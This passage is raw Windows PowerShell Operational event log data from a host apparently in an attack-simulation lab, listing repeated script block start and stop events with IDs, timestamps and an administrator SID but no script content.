SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467021
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467020
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467019
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467018
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467017
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467016
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467015
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467014
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467013
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467012
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467011
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467010
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467009
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467008
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467007
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467147
Keywords=None
Message=Started invocation of ScriptBlock ID: 21ff2f47-7fd8-427b-b75b-f899cb75b195
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467146
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467145
Keywords=None
Message=Completed invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467144
Keywords=None
Message=Started invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467143
Keywords=None
Message=Started invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467142
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2b8a6a55-e06f-40c6-940b-d8913924ad1b
Runspace ID: ff8d1fcc-94d9-4078-8466-5208a6cb51d2
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467141
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4e354fce-dba3-49f4-a326-30f4b8e85590
Runspace ID: ff8d1fcc-94d9-4078-8466-5208a6cb51d2
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467140
Keywords=None
Message=Started invocation of ScriptBlock ID: 4e354fce-dba3-49f4-a326-30f4b8e85590
Runspace ID: ff8d1fcc-94d9-4078-8466-5208a6cb51d2
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467139
Keywords=None
Message=Started invocation of ScriptBlock ID: 2b8a6a55-e06f-40c6-940b-d8913924ad1b
Runspace ID: ff8d1fcc-94d9-4078-8466-5208a6cb51d2
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467138
Keywords=None
Message=Completed invocation of ScriptBlock ID: a50a9f24-1418-4a8c-bcc7-9e8180e893e8
Runspace ID: ff8d1fcc-94d9-4078-8466-5208a6cb51d2
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467137
Keywords=None
Message=Completed invocation of ScriptBlock ID: 84cd98af-2c82-4e5a-9203-6398b3ef2099
Runspace ID: ff8d1fcc-94d9-4078-8466-5208a6cb51d2
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467136
Keywords=None
Message=Started invocation of ScriptBlock ID: 84cd98af-2c82-4e5a-9203-6398b3ef2099
Runspace ID: ff8d1fcc-94d9-4078-8466-5208a6cb51d2
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467135
Keywords=None
Message=Completed invocation of ScriptBlock ID: ecf3681d-de56-402b-9e8c-af822ef9ac51
Runspace ID: ff8d1fcc-94d9-4078-8466-5208a6cb51d2
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467134
Keywords=None
Message=Started invocation of ScriptBlock ID: ecf3681d-de56-402b-9e8c-af822ef9ac51
Runspace ID: ff8d1fcc-94d9-4078-8466-5208a6cb51d2
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467133
Keywords=None
Message=Started invocation of ScriptBlock ID: a50a9f24-1418-4a8c-bcc7-9e8180e893e8
Runspace ID: ff8d1fcc-94d9-4078-8466-5208a6cb51d2
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467132
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467131
Keywords=None
Message=Completed invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467130
Keywords=None
Message=Started invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467129
Keywords=None
Message=Started invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467128
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467127
Keywords=None
Message=Completed invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467126
Keywords=None
Message=Started invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467125
Keywords=None
Message=Started invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467124
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467123
Keywords=None
Message=Completed invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467122
Keywords=None
Message=Started invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467121
Keywords=None
Message=Started invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467120
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467119
Keywords=None
Message=Completed invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467118
Keywords=None
Message=Started invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467117
Keywords=None
Message=Started invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467116
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467115
Keywords=None
Message=Completed invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467114
Keywords=None
Message=Started invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467113
Keywords=None
Message=Started invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467112
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467111
Keywords=None
Message=Completed invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467110
Keywords=None
Message=Started invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467109
Keywords=None
Message=Started invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467108
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
